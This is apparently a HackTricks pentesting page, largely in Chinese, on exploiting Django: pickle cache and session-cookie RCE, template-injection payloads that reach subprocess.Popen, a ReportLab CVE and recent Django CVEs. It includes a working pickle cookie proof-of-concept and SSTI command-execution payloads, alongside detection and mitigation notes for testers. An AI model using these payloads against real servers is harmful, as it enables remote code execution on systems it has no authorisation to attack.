Django
Reading time: 7 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
Cache Manipulation to RCE
Django 的默认缓存存储方式是 Python pickles,如果对 untrusted input is unpickled,可能导致 RCE。如果攻击者能够获得对缓存的写访问,他们可以将此漏洞升级为对底层服务器的 RCE。
Django cache is stored in one of four places: Redis, memory, files, or a database. 存储在 Redis 服务器或数据库中的缓存是最可能的攻击向量(Redis injection 和 SQL injection),但攻击者也可能利用基于文件的缓存将任意写入转为 RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL 表名和 Redis 服务器的具体信息会根据实现而不同。
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) 是 图灵完备 的。如果用户提供的数据被作为 template string 渲染(例如通过调用 Template(user_input).render()
,或当 |safe
/format_html()
取消自动转义时),攻击者可能实现完整的 SSTI → RCE。
Detection
- 查找包含 任何 未清洗请求数据的动态调用
Template()
/Engine.from_string()
/render_to_string()
。 - 发送基于时间或算术的 payload:
{{7*7}}
如果渲染输出包含 49
,则表明输入被模板引擎编译。
升级到 RCE 的原语
Django 阻止了对 __import__
的直接访问,但 Python 对象图是可访问的:
{{''.__class__.mro()[1].__subclasses__()}}
找到 subprocess.Popen
的索引(约 400–500,取决于 Python 构建)并执行任意命令:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
一个更安全的通用 gadget 是迭代直到 cls.__name__ == 'Popen'
。
相同的 gadget 也适用于Debug Toolbar或Django-CMS中错误处理用户输入的模板渲染功能。
另见:ReportLab/xhtml2pdf PDF 导出 RCE
基于 Django 的应用通常会集成 xhtml2pdf/ReportLab 来将视图导出为 PDF。当受用户控制的 HTML 流入 PDF 生成时,rl_safe_eval 可能会评估三重括号 [[[ ... ]]]
内的表达式,从而允许代码执行(CVE-2023-33733)。详细信息、payloads 和缓解方法:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
基于 Pickle 的会话 Cookie RCE
如果设置 SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
被启用(或使用会反序列化 pickle 的自定义序列化器),Django 会在调用任何视图代码之前对会话 cookie 进行解密并反序列化 (unpickle)。因此,拥有有效的签名密钥(默认情况下为项目的 SECRET_KEY
)就足以立即实现远程代码执行。
利用要求
- 服务器使用
PickleSerializer
。 - 攻击者知道或能猜到
settings.SECRET_KEY
(leaks via GitHub、.env
、错误页面等)。
概念验证
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
发送生成的 cookie,payload 就会以 WSGI worker 的权限运行。
缓解措施: 保持默认的 JSONSerializer
,轮换 SECRET_KEY
,并配置 SESSION_COOKIE_HTTPONLY
。
近期(2023-2025)Pentesters 应检查的高影响 Django CVE
- CVE-2025-48432 – Log Injection via unescaped
request.path
(fixed June 4 2025). 允许攻击者将换行符/ANSI codes 掺入日志文件并污染下游的日志分析。已在版本 ≥ 4.2.22 / 5.1.10 / 5.2.2 中修复。 - CVE-2024-42005 – Critical SQL injection in
QuerySet.values()/values_list()
onJSONField
(CVSS 9.8). 在JSONField
上构造 JSON 键以跳出引号并执行任意 SQL。已在 4.2.15 / 5.0.8 中修复。
始终通过 X-Frame-Options
错误页面或 /static/admin/css/base.css
哈希来指纹化精确的框架版本,并在适用时测试上述问题。
References
- Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。